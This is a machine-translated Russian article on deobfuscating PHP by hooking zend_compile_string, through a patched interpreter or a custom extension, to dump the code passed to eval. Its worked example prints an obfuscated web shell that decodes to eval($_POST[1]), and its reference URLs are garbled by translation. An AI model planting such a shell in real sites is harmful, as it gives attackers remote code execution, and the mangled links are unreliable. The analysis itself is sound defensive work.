Расшифровать запутанную программу PHP

PHP

author: WeaponX

0x01 фон

Руководитель группы обнаружил, что код PHP был запутан при проведении аудита кода PHP. Хотя исходный PHP-код можно восстановить, расшифровав его вручную, процесс обфускации сложен, и очень хлопотно писать скрипт для его восстановления самостоятельно. Поэтому я восстанавливаю запутанный PHP-код через базовые операции PHP.

0x02 Обфускация кода PHP

Обычно есть два способа запутать PHP-код:

  • Требуется расширение PHP
  • Расширение PHP не требуется

В этой статье мы в основном объясним расшифровку обфускации кода без расширений PHP. Большая часть обфускации кода PHP без расширения использует eval для выполнения кода в принципе. если мы сможем получитьevalПо параметрам функции можно получить расшифрованный код.

Однако, как правило, обфускация PHP будет проходить несколько раз.evalдля восстановления и выполнения кода php, поэтому мы можем расшифровать код, перехватив функцию eval PHP для вывода его параметров.

0x03 hook eval

Функцию eval в PHP нужно вызывать в Zendzend_compile_stringфункция, которую мы можем увидеть, отладивzend_compile_stringфункция.

user@ubuntu ~/php-5.6.35/Zend ~ grep -rn "zend_compile_string" *
zend.c:693:	zend_compile_string = compile_string;

мы обнаруживаемzend_compile_stringФункция на самом делеcompile_stringфункция. Итак, мы можем написать простой PHP-код, чтобы посмотреть, сможем ли мыcompile_stringполучено вevalзначение параметра

<?php
    eval("phpinfo();");
?>

Во-первых, давайте скомпилируем загруженный PHP. Обратите внимание: поскольку мы собираемся отлаживать позже, нам нужно добавить его во время компиляции.-gпараметры, а также символы отладки.

./configure CFLAGS="-g" CXXFLAGS="-g"
make -j16

Затем мы используем gdb для отладки программы php. Сначала задайте параметры программы, а вcompile_stringСделайте точку останова в функции.

gdb-peda$ set args xxx.php
gdb-peda$ b compile_string
Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.

Затем запустите программу php

После того, как программа обнаружения была сломана, мы обнаружили, чтоcompile_stringпервый параметрsource_stringв php-кодеevalСтруктура параметров функции в Zend - т.е.zval_struct.source_string.value.str.valТо есть строковая форма параметра.

  • путем измененияcompile_stringфункция печатиevalпараметры, код выглядит следующим образом
if (Z_TYPE_P(source_string) == IS_STRING)							// 判断是否为string类型
{
    len = Z_STRLEN_P(source_string);								// 求string的长度
    str = estrndup(Z_STRVAL_P(source_string), len);				// 拷贝到str中
    printf("\n==================DUMP_CODE====================\n");
    printf("%s\n", str);											//打印
    printf("\n==================DUMP_CODE====================\n");
}

После модификации перекомпилируйте php и запустите зашифрованный php-код

Расшифрованный код PHP выглядит следующим образом

Вы можете видеть, что запутанный код PHP был полностью восстановлен.

  • Расшифровать php-скрипт, написав расширение php

Принцип написания расширения php заключается в использовании нашего хука функцииzend_compile_stringфункцию, вывести параметры функции и вернуть их вzend_compile_stringФункция может быть выполнена.

./ext/ext_skel --extname=decrypt_code

Во-первых, мы пишем собственную функцию ловушки. Функция этой функции состоит в том, чтобы судитьevalЯвляется ли параметр функции строкой, если нет, выполнить по исходному пути, если да, то вывести параметр и выполнить по исходному пути.

static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
    int len;
    char *str;
    if (Z_TYPE_P(source_string) != IS_STRING)
    {
        return orig_zend_compile_string(source_string, filename TSRMLS_CC);
    }
    len  = Z_STRLEN_P(source_string);
    str = estrndup(Z_STRVAL_P(source_string), len);
    printf("\n==========DUMP===========\n");
    printf("%s", str);
    printf("\n==========DUMP===========\n");
    return orig_zend_compile_string(source_string, filename TSRMLS_CC);
}

Далее мы модифицируем функцию загрузки расширения PHP.

PHP_MINIT_FUNCTION(decrypt_code)
{
    /* If you have INI entries, uncomment these lines 
    REGISTER_INI_ENTRIES();
    */
    orig_compile_string = zend_compile_string;
    zend_compile_string = decrypt_code_compile_string;
    return SUCCESS;
}

Функция этой функции заключается в сохраненииzend_compile_stringАдрес функции, затем замените его нашей функцией-ловушкойzend_compile_stringадрес г. когдаevalвызов функцииzend_compile_string, вызывается наша функция ловушки.

Наконец, мы модифицируем функцию удаления расширения PHP.

PHP_MSHUTDOWN_FUNCTION(decrypt_code)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    zend_compile_string = orig_zend_compile_string;
    return SUCCESS;
}

Отключает функцию при удалении расширения.

Наконец, скомпилируйте наше расширение

phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make

Далее добавляем наше расширение в php.ini.

extension=decrypt_code.so

Запуск этого скрипта дает тот же результат.

0x04 Расшифровка восстановлена ​​другими функциями

По сути, расшифровка запутанного кода аналогична выполнению кода. В конце концов, PHP-код должен быть выполнен, и есть много способов выполнить PHP-код, кромеevalфункция такжеassert,call_user_func,call_user_func_array,create_functionЖдать. Нижний слой этих функций также называетсяzend_compile_string, так что вы также можете использовать хукevalдля восстановления запутанного зашифрованного кода.

0x05 Example

Кусок примера кода.

<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
?>

Запустите его, чтобы получить расшифрованный результат.

./php 3.php 

=====================DUMP_CODE========================
function __lambda_func(){eval($_POST[1]);}

=====================DUMP_CODE========================

0x06 Refer

blog.eval bug.com/2017/09/21/…

security.Tencent.com/index.PHP/no…

PHP-security.org/2010/05/13/…

Что/архивы/Z oh...

woohoo.оставьте на.com/penetration…